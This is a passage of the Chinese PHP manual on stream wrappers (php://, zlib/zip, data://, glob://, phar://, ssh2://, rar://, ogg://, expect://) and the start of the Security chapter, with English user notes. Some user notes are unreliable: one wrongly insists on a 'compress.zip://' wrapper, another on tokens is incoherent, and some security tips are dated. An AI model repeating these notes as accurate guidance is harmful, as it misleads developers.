仅仅支持 stream_select() | php://stdin、 php://stdout、 php://stderr、 php://fd 和 php://temp。

示例

Example #1 php://temp/maxmemory

这个可选选项允许设置 php://temp 开始使用临时文件前的最大内存限制。

<?php
// 限制内存为 5 MB。
$fiveMBs = 5 * 1024 * 1024;
$fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');

fputs($fp, "hello\n");

// 读取刚才写入的内容。
rewind($fp);
echo stream_get_contents($fp);
?>

Example #2 php://filter/resource=<待过滤的数据流>

这个参数必须位于 php://filter 的末尾，并且指向需要过滤筛选的数据流。

<?php
/* 这简单等同于：
readfile("http://www.example.com");
实际上没有指定过滤器 */

readfile("php://filter/resource=http://www.example.com");
?>

Example #3 php://filter/read=<读链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

<?php
/* 这会以大写字母输出 www.example.com 的全部内容 */
readfile("php://filter/read=string.toupper/resource=http://www.example.com");

/* 这会和以上所做的一样，但还会用 ROT13 加密。 */
readfile("php://filter/read=string.toupper|string.rot13/resource=http://www.example.com");
?>

Example #4 php://filter/write=<写链需要应用的过滤器列表>

这个参数采用一个或以管道符 | 分隔的多个过滤器名称。

<?php
/* 这会通过 rot13 过滤器筛选出字符 "Hello World"
然后写入当前目录下的 example.txt */
file_put_contents("php://filter/write=string.rot13/resource=example.txt","Hello World");
?>

Example #5 php://memory 和 php://temp 是一次性的

php://memory 和 php://temp 是一次性的，比如：stream 流关闭后，就无法再次得到以前的内容了。

file_put_contents('php://memory', 'PHP');
echo file_get_contents('php://memory'); // 啥也没有

User Contributed Notes

There are no user contributed notes for this page.


压缩流

  • ? php://
  • data:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 压缩流

zlib://

bzip2://

zip://

zlib:// -- bzip2:// -- zip:// — 压缩流

说明

compress.zlib:// and compress.bzip2://

zlib: 的功能类似 gzopen()，但是 其数据流还能被 fread() 和其他文件系统函数使用。 不建议使用，因为会和其他带":"字符的文件名混淆； 请使用 compress.zlib:// 替代。

compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。

ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起，加密归档开始支持密码，允许数据流中使用密码。 字节流上下文（stream contexts）中使用 'password' 选项设置密码。

可选项

  • compress.zlib://file.gz
  • compress.bzip2://file.bz2
  • zip://archive.zip#dir/file.txt

用法

封装协议摘要
属性 | 支持
受限于 allow_url_fopen | No
允许读取 | Yes
允许写入 | Yes（除了 zip://）
允许附加 | Yes（除了 zip://）
允许同时读写 | No
支持 stat() | No，请使用普通的 file:// 封装器统计压缩文件。
支持 unlink() | No，请使用 file:// 封装器删除压缩文件。
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

参见

  • Zlib 上下文选项

User Contributed Notes

arava dot box at gmail dot com 05-Dec-2019 01:17
This is the solution how to read stream from zip:

$fp = fopen('zip://foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}
lewa::cpan.org 03-Feb-2017 01:56
One-liners to gzip and ungzip a file:

copy('file.txt', 'compress.zlib://' . 'file.txt.gz');

copy('compress.zlib://' . 'file.txt.gz', 'file.txt');
feodor at ctm dot ru 10-Dec-2015 01:13
Prior to PHP 5.6 i used code like
<?php
file_get_contents("compress.zlib://php://input");
?>
to read gz-compressed or plain input file. Not it doesn't work.
Simple workaround :
<?php
//file_get_contents("compress.zlib://php://input");

class gzip_header_filter8 extends php_user_filter {
    private $filtered = 0;
    public function filter($in, $out, &$consumed, $closing) {
        while ($bucket = stream_bucket_make_writeable($in)) {
            if($this->filtered == 0) {
                $header_len = 8;
                $header = substr($bucket->data, 0, 8);
                $flags = ord($header[1]);
                if($flags & 0x08) {
                    // a filename is present
                    $header_len = strpos($bucket->data, "\0", 8) + 1;
                }
                $bucket->data = substr($bucket->data, $header_len);
                $this->filtered = $header_len;
            }
            $consumed += $bucket->datalen;
            stream_bucket_append($out, $bucket);
        }
        return PSFS_PASS_ON;
    }
}

stream_filter_register('gzip_header_filter8', 'gzip_header_filter8');

$READ_LEN = 64*1024;
$MAX_BUF_LEN = $READ_LEN*1024;

$mode_plain=true;
$src=fopen("php://input","rb"); //test if OK!!!!
$magic_number=fread($src,2);
$input="";
    if(strlen($magic_number)==2)
        if(
            (ord($magic_number[0])==31)
        &&  (ord($magic_number[1])==139)
            )
        {
        $mode_plain=false;
        stream_filter_append($src, "gzip_header_filter8", STREAM_FILTER_READ);
        stream_filter_append($src, "zlib.inflate", STREAM_FILTER_READ);
        }
else
        {
        $input=$magic_number;
        }

/* read starts here*/
 $k = 0;
 while (!feof($src) && $k <= $MAX_BUF_LEN) {
      $inp = fread($src,$READ_LEN);
      $k += strlen($inp);
      $input.=$inp;
    }
echo $input;
fclose($src);
?>
eragonjml at googlemail dot com 19-Sep-2013 05:00
@alvaro at demogracia dot com

well in fact that is wrong!
right code is:

<?php

$fp = fopen('compress.zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

as you might see you just have to add a "compress."

maybe when you posted this note is was right (2 years ago) but today its wrong... :/

sry for my english i am german :)
alvaro at demogracia dot com 12-Apr-2011 07:41
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):

<?php

$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

Also, apparently, the "zip:" wrapper does not allow writing as of PHP/5.3.6. You can read http://php.net/ziparchive-getstream for further reference since the underlying code is probably the same.
joshualross at gmail dot com 19-Aug-2007 12:24
I had a difficult time finding how to use compress.zlib with an http resource so I thought I would post what I found
<?php
$file = 'compress.zlib://http://www.example.com/myarchive.gz';
$fr = fopen($file, 'rb');
?>

Per the bugreport I found here (http://bugs.php.net/bug.php?id=29045)


数据（RFC 2397）

  • ? zlib://
  • glob:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 数据（RFC 2397）

data://

data:// — 数据（RFC 2397）

说明

data:（» RFC 2397）数据流封装器。

用法

  • data://text/plain;base64,

可选项

封装协议摘要
属性 | 支持
受限于 allow_url_fopen | Yes
受限于 allow_url_include | Yes
允许读取 | Yes
允许写入 | No
允许追加 | No
允许同时读写 | No
支持 stat() | No
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

示例

Example #1 打印 data:// 的内容

<?php
// 打印 "I love PHP"
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
?>

Example #2 获取媒体类型

<?php
$fp = fopen('data://text/plain;base64,', 'r');
$meta = stream_get_meta_data($fp);

// 打印 "text/plain"
echo $meta['mediatype'];
?>

User Contributed Notes

from dot php dot net at brainbox dot cz 18-Nov-2010 04:37
When passing plain string without base64 encoding, do not forget to pass the string through URLENCODE(), because PHP automatically urldecodes all entities inside passed string (and therefore all + get lost, all % entities will be converted to the corresponding characters).

In this case, PHP is strictly compilant with the RFC 2397. Section 3 states that passes data should be either in base64 encoding or urlencoded.

VALID USAGE:
<?php
$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
?>

Demonstration of invalid usage:
<?php
$data = 'Günther says: 1+1 is 2, 10%40 is 20.';

$fp = fopen('data:text/plain,'.$data, 'rb'); // INVALID, never do this
echo stream_get_contents($fp);
// Günther says: 1 1 is 2, 10@ is 20. // ERROR

$fp = fopen('data:text/plain,'.urlencode($data), 'rb'); // urlencoded data
echo stream_get_contents($fp);
// Günther says: 1+1 is 2, 10%40 is 20. // OK

// Valid option 1: base64 encoded data
$fp = fopen('data:text/plain;base64,'.base64_encode($data), 'rb'); // base64 encoded data
echo stream_get_contents($fp);
// Günther says: 1+1 is 2, 10%40 is 20. // OK
?>
admin deskbitz net 02-May-2010 12:54
If you want to create a gd-image directly out of a sql-database-field you might want to use:

<?php
$jpegimage = imagecreatefromjpeg("data://image/jpeg;base64," . base64_encode($sql_result_array['imagedata']));
?>

this goes also for gif, png, etc using the correct "imagecreatefrom$$$"-function and mime-type.
sandaimespaceman at gmail dot com 06-Sep-2008 06:30
Now PHP supports data: protocol w/out "//" like data:text/plain, not data://text/plain,

I tried it.


查找匹配的文件路径模式

  • ? data://
  • phar:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 查找匹配的文件路径模式

glob://

glob:// — 查找匹配的文件路径模式

说明

glob: 数据流包装器。

用法

  • glob://

可选项

封装协议摘要
属性 | 支持
受限于 allow_url_fopen | No
受限于 allow_url_include | No
允许读取 | No
允许写入 | No
允许附加 | No
允许同时读写 | No
支持 stat() | No
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

示例

Example #1 基本用法

<?php
// 循环 ext/spl/examples/ 目录里所有 *.php 文件
// 并打印文件名和文件尺寸
$it = new DirectoryIterator("glob://ext/spl/examples/*.php");
foreach($it as $f) {
printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
?>
tree.php: 1.0K
findregex.php: 0.6K
findfile.php: 0.7K
dba_dump.php: 0.9K
nocvsdir.php: 1.1K
phar_from_dir.php: 1.0K
ini_groups.php: 0.9K
directorytree.php: 0.9K
dba_array.php: 1.1K
class_tree.php: 1.8K

User Contributed Notes

There are no user contributed notes for this page.


PHP 归档

  • ? glob://
  • ssh2:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • PHP 归档

phar://

phar:// — PHP 归档

说明

phar:// 数据流包装器。详细的描述可参见 Phar 数据流包装器。

用法

  • phar://

可选项

封装协议摘要
属性 | 支持
支持 allow_url_fopen | No
支持 allow_url_include | No
允许读取 | Yes
允许写入 | Yes
允许附加 | No
允许同时读写 | Yes
支持 stat() | Yes
支持 unlink() | Yes
支持 rename() | Yes
支持 mkdir() | Yes
支持 rmdir() | Yes

参见

  • Phar 上下文（context）选项

User Contributed Notes

There are no user contributed notes for this page.


安全外壳协议 2

  • ? phar://
  • rar:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 安全外壳协议 2

ssh2://

ssh2:// — 安全外壳协议 2

说明

ssh2.shell:// ssh2.exec:// ssh2.tunnel:// ssh2.sftp:// ssh2.scp:// (PECL)

Note: 该封装器默认没有激活
为了使用 ssh2.*:// 封装协议，必须从 » PECL 中安装有效的 » SSH2 扩展。

除了支持传统的 URI 登录信息，ssh2 封装协议也支持通过 URL 的主机（host）部分来复用打开连接。

用法

  • ssh2.shell://user:pass@example.com:22/xterm
  • ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
  • ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
  • ssh2.sftp://user:pass@example.com:22/path/to/filename

可选项

封装协议概要
属性 | ssh2.shell | ssh2.exec | ssh2.tunnel | ssh2.sftp | ssh2.scp
受 allow_url_fopen 影响 | Yes | Yes | Yes | Yes | Yes
允许读取 | Yes | Yes | Yes | Yes | Yes
允许写入 | Yes | Yes | Yes | Yes | No
允许追加 | No | No | No | Yes（当服务器支持的时候） | No
允许同时读和写 | Yes | Yes | Yes | Yes | No
支持 stat() | No | No | No | Yes | No
支持 unlink() | No | No | No | Yes | No
支持 rename() | No | No | No | Yes | No
支持 mkdir() | No | No | No | Yes | No
支持 rmdir() | No | No | No | Yes | No

上下文选项（Context）
名称 | 用法 | 默认
session | 重复使用预连接的 ssh2 资源 |
sftp | 重复使用预先分配的 sftp 资源 |
methods | 密钥交换（key exchange）、主机密钥（hostkey）、cipher、压缩和 MAC 方法 |
callbacks |  |
username | 以该用户名连接 |
password | 使用的密码来进行密码验证 |
pubkey_file | 用于验证的公钥（public key）文件 |
privkey_file | 用于验证的私钥（private key）文件 |
env | 需要设置的环境变量的关联数组 |
term | 在分配一个 pty 时请求的终端类型 |
term_width | 在分配一个 pty 时请求的终端宽度 |
term_height | 在分配一个 pty 时请求的终端宽度高度 |
term_units | term_width 和 term_height 的单位 | SSH2_TERM_UNIT_CHARS

示例

Example #1 从一个活跃的连接中打开流

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
'/home/username/.ssh/id_rsa', 'secret');
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
?>

Example #2 $session 变量必须保持可用！

为了使用 ssh2.*://$session 封装协议， 必须保留 $session 资源变量。下面的代码就不会有预期的效果：

<?php
$session = ssh2_connect('example.com', 22);
ssh2_auth_pubkey_file($session, 'username', '/home/username/.ssh/id_rsa.pub',
'/home/username/.ssh/id_rsa', 'secret');
$connection_string = "ssh2.sftp://$session/";
unset($session);
$stream = fopen($connection_string . "path/to/file", 'r');
?>

unset() 会关闭 session，因为 $connection_string 不保存对 $session 变量的引用，只是源自它的字符串转换。当离开（像函数）作用域隐性调用 unset() 时，也会发生这种情况。

User Contributed Notes

guilhem at no dot spam dot answeb dot net 09-Nov-2017 03:39
Please beware of a PHP bug, noted by thomas at gielfeldt dot dk, that you must intval() the connection variable before putting it in the connection string :

<?php
$connection = ssh2_connect('shell.example.com', 22);
ssh2_auth_password($connection, 'username', 'password');
$sftp = ssh2_sftp($connection);
// See: https://bugs.php.net/bug.php?id=73597
$stream = fopen("ssh2.sftp://" . intval($sftp) . "/path/to/file", 'r');
?>
thomas at gielfeldt dot dk 25-Mar-2017 11:32
<?php
// Connect with public key.
$session = ssh2_connect('example.com', 22);
$result = ssh2_auth_pubkey_file($session, 'remote-username', '/home/local-username/.ssh/id_rsa.pub',
                                                             '/home/local-username/.ssh/id_rsa',
                                                             'secret');
// Setup sftp stream wrapper
$sftp = ssh2_sftp($session);
// See: https://bugs.php.net/bug.php?id=73597
$connection_string = 'ssh2.sftp://' . intval($sftp);

// List files in remote homedir.
$i = new \RecursiveDirectoryIterator("$connection_string/home/remote-username");
$r = new \RecursiveIteratorIterator($i);
foreach ($r as $f) {
    print $f->getPathname() . "\n";
}
?>
exptom 30-Jun-2013 09:37
The "password" context option can also be used to provide the passphrase for the keyfile supplied by "privkey_file" and "pubkey_file".

Note this bug: https://bugs.php.net/bug.php?id=58573
Encrypted keys may not work unless you build libssh2 against openssl. (It only worked for me on Debian Wheezy once I recompiled the library).
bluej100 at gmail dot com 07-May-2013 10:42
Be aware that opendir is currently broken on sftp root directories, but you can work around it by appending a dot. See https://bugs.php.net/bug.php?id=64169 and http://stackoverflow.com/a/16238476/69173.


RAR

  • ? ssh2://
  • ogg:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • RAR

rar://

rar:// — RAR

说明

封装协议采用 url 编码，（相对/绝对）路径的 RAR 归档、一个可选的星号（*）、一个可选的井号（# ）和一个可选的存储在归档中的 url 编码条目名称。指定条目名称必须带有井号，条目名称开头的斜线是可选的。

该封装协议可以打开文件和目录。当打开目录时，星号会强制返回未编码的目录条目名称。如果不指定星号，将返回 URL 编码的目录条目名称 —— 这样做的原因是存在类似 URL 编码的文件名时，允许封装协议能够与内置方法（比如 RecursiveDirectoryIterator）一起正确使用。

如果不包含井号和条目名称部分，将会显示归档的根目录。与常规目录不同的是生成的流不会包含诸如修改时间之类的信息， 因为根目录不会存储在归档的条目中。当访问根目录时， RecursiveDirectoryIterator 与封装协议一起使用时需要在 ULR 中包含井号，以便正确构建子级 URL。

Note: 该封装协议不会默认启用
为了使用 rar:// 封装协议，必须从 » PECL 中安装有效的 » rar 扩展。

rar:// 自 PECL rar 3.0.0 起可用

用法

  • rar://<url encoded archive name>[*][#[<url encoded entry name>]]

可选项

封装协议摘要
属性 | 支持
受限于 allow_url_fopen | No
受限于 allow_url_include | No
允许读取 | Yes
允许写入 | No
允许附加 | No
允许同时读写 | No
支持 stat() | Yes
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

上下文选项
名称 | 用法 | 默认
open_password | 用于加密归档报头的密码（如果有）。如果存在后者，WinRAR 将使用相同的密码作为报头密码加密所有文件， 因此对于带有加密报头的归档， file_password 将会被忽略。 |
file_password | 用于加密文件的密码（如果有）。如果报头也加密，这个选项将会被忽略以支持 open_password。 有两个选项的原因是为了支持可能会出现的报头和文件密码不同的归档。请注意，如果归档没有加密它的报头， open_password 将会忽略且必须使用此选项代替。 |
volume_callback | 确定缺失卷的路径回调。请参阅 RarArchive::open() 获取更多信息。 |

示例

Example #1 遍历 RAR 归档

<?php

class MyRecDirIt extends RecursiveDirectoryIterator {
function current() {
return rawurldecode($this->getSubPathName()) .
(is_dir(parent::current())?" [DIR]":"");
}
}

$f = "rar://" . rawurlencode(dirname(__FILE__)) .
DIRECTORY_SEPARATOR . 'dirs_and_extra_headers.rar#';

$it = new RecursiveTreeIterator(new MyRecDirIt($f));

foreach ($it as $s) {
echo $s, "\n";
}
?>

以上示例的输出类似于：

|-allow_everyone_ni [DIR]
|-file1.txt
|-file2_?.txt
|-with_streams.txt
\-? [DIR]
  |-?\%2Fempty%2E [DIR]
  | \-?\%2Fempty%2E\file7.txt
  |-?\empty [DIR]
  |-?\file3.txt
  |-?\file4_?.txt
  \-?\?_2 [DIR]
    |-?\?_2\file5.txt
    \-?\?_2\file6_?.txt

Example #2 打开加密文件（报头加密）

<?php
$stream = fopen("rar://" .
rawurlencode(dirname(__FILE__)) . DIRECTORY_SEPARATOR .
'encrypted_headers.rar' . '#encfile1.txt', "r", false,
stream_context_create(
array(
'rar' =>
array(
'open_password' => 'samplepassword'
)
)
)
);
var_dump(stream_get_contents($stream));
/* 在 WinRAR 中创建日期和最后访问日期是可选的，
* 因此大多数文件都没有 */
var_dump(fstat($stream));
?>

以上示例的输出类似于：

string(26) "Encrypted file 1 contents."
Array
(
    [0] => 0
    [1] => 0
    [2] => 33206
    [3] => 1
    [4] => 0
    [5] => 0
    [6] => 0
    [7] => 26
    [8] => 0
    [9] => 1259550052
    [10] => 0
    [11] => -1
    [12] => -1
    [dev] => 0
    [ino] => 0
    [mode] => 33206
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 26
    [atime] => 0
    [mtime] => 1259550052
    [ctime] => 0
    [blksize] => -1
    [blocks] => -1
)

User Contributed Notes

There are no user contributed notes for this page.


音频流

  • ? rar://
  • expect:// ?
  • PHP Manual
  • 支持的协议和封装协议
  • 音频流

ogg://

ogg:// — 音频流

说明

通过包装器 ogg:// 读取的文件， 是作为 OGG/Vorbis 格式的压缩音频编码。 同样，通过包装器 ogg:// 写入或追加的数据格式也是压缩音频。 当 stream_get_meta_data() 用于一个打开读取的 OGG/Vorbis 文件时，会返回关于数据流的详细信息，包含了 vendor 标签、任何内含的 comments、 channels 数字、采样率（rate），以及 用 bitrate_lower、bitrate_upper、 bitrate_nominal 和 bitrate_window 描述的可变比特率范围。

ogg:// （PECL）

Note: 该封装器默认未激活
要使用 ogg:// 封装协议，必须从 » PECL 中安装有效的 » OGG/Vorbis 扩展。

用法

  • ogg://soundfile.ogg
  • ogg:///path/to/soundfile.ogg
  • ogg://http://www.example.com/path/to/soundstream.ogg

可选项

封装协议摘要
属性 | 支持
受限于 allow_url_fopen | No
允许读取 | Yes
允许写入 | Yes
允许附加 | Yes
允许同时读写 | No
支持 stat() | No
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

上下文选项
名称 | 用法 | 默认 | 模式
pcm_mode | 读取时使用如下 PCM 编码之一: OGGVORBIS_PCM_U8、OGGVORBIS_PCM_S8、 OGGVORBIS_PCM_U16_BE、OGGVORBIS_PCM_S16_BE、 OGGVORBIS_PCM_U16_LE 和 OGGVORBIS_PCM_S16_LE。 (8 或 16 位，签名或未签名，大或小的 endian) | OGGVORBIS_PCM_S16_LE | 读取
rate | 输入数据的采样率，单位为 Hz | 44100 | 写入/附加
bitrate | 若给的值为整数，则是用固定的比特率进行编码。（16000 到 131072）若给的值为浮点数，则使用可变的比特率（质。(-1.0 到 1.0） | 128000 | 写入/附加
channels | 要编码的声道的数量，典型为 1 (单声道), 或 2 (立体声)。最高支持 16 声道。 | 2 | 写入/附加
comments | 编码到音轨头部的字符串数组。 |  | 写入/附加

示例

User Contributed Notes

martin dot leese at stanfordalumni dot org 18-Feb-2008 10:04
Note that although "ogg:" is the wrapper name, the stream is restricted to Ogg files containing a single stream encoded using the Vorbis audio codec.  An Ogg container can, in fact, contain multiple streams: audio, video, anything.  (Also, the audio streams in an Ogg contaner can use codecs such as FLAC and OggPCM.)  The wrapper name is therefore misleading.


处理交互式的流

  • ? ogg://
  • 安全 ?
  • PHP Manual
  • 支持的协议和封装协议
  • 处理交互式的流

expect://

expect:// — 处理交互式的流

说明

由 expect:// 封装协议打开的数据流 PTY 通过提供了对进程 stdio、stdout 和 stderr 的访问。

Note: 该封装协议默认未开启
为了使用 expect:// 封装协议，必须从 » PECL 中安装有效的 » Expect 扩展。

expect:// (PECL)

用法

  • expect://command

可选项

封装协议概要
属性 | 支持
受 allow_url_fopen 影响 | No
允许读取 | Yes
允许写入 | Yes
允许添加 | Yes
允许同时读和写 | No
支持 stat() | No
支持 unlink() | No
支持 rename() | No
支持 mkdir() | No
支持 rmdir() | No

示例

User Contributed Notes

There are no user contributed notes for this page.


安全

  • 简介
  • 总则
  • 以 CGI 模式安装时
    • 可能受到的攻击
    • 情形一：只运行公开的文件
    • 情形二：使用 cgi.force_redirect
    • 情形三：设置 doc_root 或 user_dir
    • 情形四：PHP 解释器放在 web 目录以外
  • 以 Apache 模块安装时
  • 会话（Session）安全
  • 文件系统安全
    • 空字符（Null bytes）相关问题
  • 数据库安全
    • 设计数据库
    • 连接数据库
    • 加密存储模型
    • SQL 注入
  • 错误报告
  • 用户提交的数据
  • 隐藏 PHP
  • 保持更新

User Contributed Notes

inland14 at live dot com 13-Jan-2019 04:06
Good Dharma tokens which are basically in the feed somewhere that allow users that are not reprogramming and injecting to get into the site.

Change this POST AJAX call URL every couple minutes to exclude users who didn't follow your portal. You can combine this with where they came from. Just in the case of advertised click-thrus.

You can make a perfectly good token from time() and some measure away from it every ~5th minute(?). Balance the load by free token grasping at login, or even if they just got to the site. And don't let them into the feed past the designated 5th minute, or algorithmic sum for your timed change of the guard, without knowledge of the token. This can be caught up by passing variables across pages. Directly injecting the POST token with a curl to your own site. And combining that like a session ID.
Ray.Paseur sometimes uses Gmail 13-Oct-2016 02:51
Password hashing should be linked here:
http://php.net/manual/en/faq.passwords.php
Anonymous 13-Jul-2015 09:41
chroot is NOT a security feature. Don't use it as one. Please read the man pages of chroot to understand what its really used for
moehbass at gmail dot com 11-Jul-2007 10:34
First, q much simpler solution to preventing people from viewing code inside of an includable file would be to give include file an extension that ends with php (e.g. myFile.inc.php).

Secondly, and more importantly, why on earth would you want to put program-level code in an include file? By that I mean something life this:

myFile.inc.php
--------------------------------
...
if ($var = 'whatever')
    // connect to the database
else
    // do something else.
--------------------------------

An include file should not contain logic! Rather, it is an encapsulated unit of code that should not do anything on its own unless asked to. To implement this ideology, consider including function definitions only in your include files, then once you include them in the script, call such functions from within your program (i.e. the script that included the inc file). If you don't know the names of the functions ab initio, use call_user_func() or call_user_func_array() and pass it the name of the function that's dependent on context.

If you MUST put program-level logic in your include files, consider simply putting it in the program!

Why should you consider this? How about variable name clashes for a starter! You can think of more, I am shure!

Hope that helped
dangan at blackjaguargaming dot net 01-Feb-2007 06:41
I'd recommend a 404 over a 403 considering a 403 proves there is something worth hacking into.

index.php:
<?php
define('isdoc',1);
include('includes/include.sqlfunctions.php');
// Rest of code for index.php
?>

include.sqlfunctions.php (or other include file):
<?php
if(isdoc !== 1) // Not identical to 1
{
    header('HTTP/1.1 404 Not Found');
    echo "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\n<html><head>\n<title>404 Not Found</title>\n</head>";
    echo "<body>\n<h1>Not Found</h1>\n<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>\n";
    echo "<hr>\n".$_SERVER['SERVER_SIGNATURE']."\n</body></html>\n";
    // Echo output similar to Apache's default 404 (if thats what you're using)
    exit;
}
// Rest of code for this include
?>
k 25-Oct-2006 04:06
How about not putting the php code in the web-root at all...?

You can create a public directory with the css, html, etc and index.php there. Then use the include_path setting to point to the actual php code, eg...

webstuff
  phpcode
  public
    images
    css
    index.php

then set the include path to "../phpcode" and, as php is executed from the directory of the script, all should be well.

I'd also call the main index "main.page", or something else, instead of "index.php" and change the web server default index page. That way you cant get hit by things trawlling the web for index pages.
steffen at morkland dot com 20-Sep-2006 06:38
In Reply to djjokla and others

Consider placing all incude files as mentioned before in a seperate folder containing a .htaccess containing a Order Deny,Allow

the create a index file, which is intended to handle ALL request made to you php application, then call it with index.php?view=index

the index file could look a bit like this:

<?php
switch($_GET['view']){
    case 'index':
        include('libs/index.php');
        break;
    default:
        include('libs/404.php');
        break;
}
?>

this could be an array or something even more creative. it actually does'nt matter how you do it... running all pages through one central script has one big advantage.... CONTROL.
at any givin time, you can easily implement access control to functions without forgetting crucial files.
djjokla AT gmail dot com 21-Apr-2006 08:22
If a single file has to be included than I use the following

index.php ( where the file is gonna be included )
___________
<?php
    define('thefooter', TRUE);
    include('folder/footer.inc.php');
?>

and the footer file (for example) looks this way then

footer.inc.php ( the file to be inluded )
___________
<?php
    defined('thefooter') or die('Not with me my friend');
    echo('Copyright to me in the year 2000');
?>

So when someone tries to access the footer.php file directly he/she/it will get the "Not with me my friend" messages written on the screen. An alternative option is to redirect the person who wants to access the file directly to a different location, so instead of the above code you would have to write the following in the footer.inc.php file.

<?php
    defined('thefooter') or header('Location: http://www.location.com');
    echo('Copyright to me in the year 2000');
?>

In normal case a redirection to an external site would be annoying to the visitor, but since this visitor is more interested in hacking the site than in reading the content, I think it's only fair to create such an redirection. We dont' realy want someome like this on our sites.

For the file protection I use .htaccess in which I say to protect the file itself and every .inc file

<Files ~ "^.*\.([Hh][Tt]|[Ii][Nn][Cc])">
Order allow,deny
Deny from all
Satisfy All
</Files>

The .htaccess file should result an Error 403 if someone tries to access the files directly. If for some reason this shouldn't work, then the "Not with me my friend" text apears or a redirection (depending what is used)

In my eyes this looks o.k. and safe.
Thomas "Balu" Walter 16-Oct-2005 01:24
Since many users can not modify apache configurations or use htaccess files, the best way to avoid unwanted access to include files would be a line at the beginning of the include-file:

<?php if (!defined('APPLICATION')) exit; ?>

And in all files that are allowed to be called externally:

<?php define('APPLICATION', true); ?>

     Balu
nick dot hristov at gmail dot com 02-Sep-2004 08:21
A correction to previous post by Dave Mink.

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
   Satisfy All
</Files>

Will not stop something like
http://www.yourserver.com/includefile.inc?pointlessvar=blahblah

Here is something more sophisticated for this task:

<Location ~ "/[^ ](?=\.inc(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>

Also, consider placing in your httpd.conf

<Location ~ "/[^ ](?=\.phps(\?[^ ]*)?)/">
    Options None
    Order Allow, Deny
    Deny from All
    AllowOverride None
    Satisfy All
</Location>
ocrow at simplexity dot net 02-Jul-2003 05:16
If your PHP pages include() or require() files that live within the web server document root, for example library files in the same directory as the PHP pages, you must account for the possibility that attackers may call those library files directly.

Any program level code in the library files (ie code not part of function definitions) will be directly executable by the caller outside of the scope of the intended calling sequence.  An attacker may be able to leverage this ability to cause unintended effects.

The most robust way to guard against this possibility is to prevent your webserver from calling the library scripts directly, either by moving them out of the document root, or by putting them in a folder configured to refuse web server access. With Apache for example, create a .htaccess file in the library script folder with these directives:

Order Allow,Deny
Deny from any
annonymous at domain dot com 27-Jun-2003 06:08
best bet is to build php as cgi, run under suexec, with chroot jailed users. Not the best, but fairly unobtrusive, provides several levels of checkpoints, and has only the detriment of being, well, kinda slow. 8)
ManifoldNick at columbus dot rr dot com 29-Apr-2003 10:30
Remember that security risks often don't involve months of prep work or backdoors or whatever else you saw on Swordfish ;) In fact one of the bigges newbie mistakes is not removing "<" from user input (especially when using message boards) so in theory a user could secerely mess up a page or even have your server run php scripts which would allow them to wreak havoc on your site.


简介

PHP 作为一种强大的语言和解析器，无论是作为包含在 Web 服务器中的模块还是作为单独的 CGI 二进制文件执行，它都可以在服务器上访问文件、运行命令以及创建网络连接等。 默认情况下，这些功能会使 web 服务器运行的任何内容变得不安全。 PHP 专门设计为一种比 Perl 或者 C 编写 CGI 程序更安全的语言，并且正确选择编译时和运行时配置选项以及正确的编码实践，它可以同时满足所需的自由和安全。

由于使用 PHP 有很多不同的方式，因此有很多配置选项来控制其行为。大量选项保证可以将 PHP 用于多种用途，但是这也意味着这些选项和服务器配置的组合会导致设置不安全。

PHP 配置的灵活性与代码的灵活性不相上下。Shell 用户具备的所有服务器端应用功能，PHP 同样也能构建完整。也可以在严格控制的环境中用于简单的服务器端包含，具有很小的风险。 环境如何构建、安全性如何，很大程度上取决于 PHP 开发者。

本章以一些常规的安全建议作为开始，解释了不同配置选项组合以及可以安全使用的情况， 并描述了不同安全级别进行编码时的不同注意事项。

User Contributed Notes

There are no user contributed notes for this page.


总则

绝对安全的系统是不存在的，因此安全业界常用的方法有助于平衡可用性和风险。对用户提交的每一个变量都进行双重验证可能是一个很负责任的行为，但会导致用户必须花很多时间去填写一张复杂无比的表格，从而迫使某些用户尝试绕过安全机制。

最好的安全机制应该能在不防碍用户，并且不过多地增加开发难度的情况下做到能满足需求。实际上，一些安全问题往往会发生在这种过度强化安全机制的系统上。

不要忘记著名的等强原则：一个系统的的强度是由它最薄弱的环节决定的（译者注：相当于木桶原理）。如果所有的事务都基于时间、地点、事务种类进行详细的记录，而用户验证却只依靠一个 cookie，那么用户所对应的事务记录的可信度就被大大剥弱了。

